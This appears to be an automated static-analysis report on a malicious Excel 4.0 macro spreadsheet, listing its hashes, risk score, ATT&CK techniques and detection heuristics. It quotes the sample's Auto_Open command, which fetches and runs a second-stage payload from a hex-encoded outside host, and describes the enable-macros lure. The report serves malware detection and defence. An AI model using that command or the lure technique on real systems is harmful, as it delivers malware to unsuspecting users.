Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 649e44bed61a50de…

MALICIOUS

Office (OLE) / .XLS

64.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: d70147db6b4477148b5390793deda46d SHA-1: 78be84f366d2ef5771ef20d777f50470df727b2c SHA-256: 649e44bed61a50decb9448c07fa4e0c15f5984eee650d19fe860e944d6b05640
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 4.0 (XLM) macro-enabled spreadsheet that uses an Auto_Open macro to execute a command. The macro constructs and executes the command "cmd /c mshhta http://0xc12a24f5/c.html" which is designed to download and execute a second-stage payload from the specified URL. The document body also contains a lure to enable macros, which is a common tactic for malware droppers.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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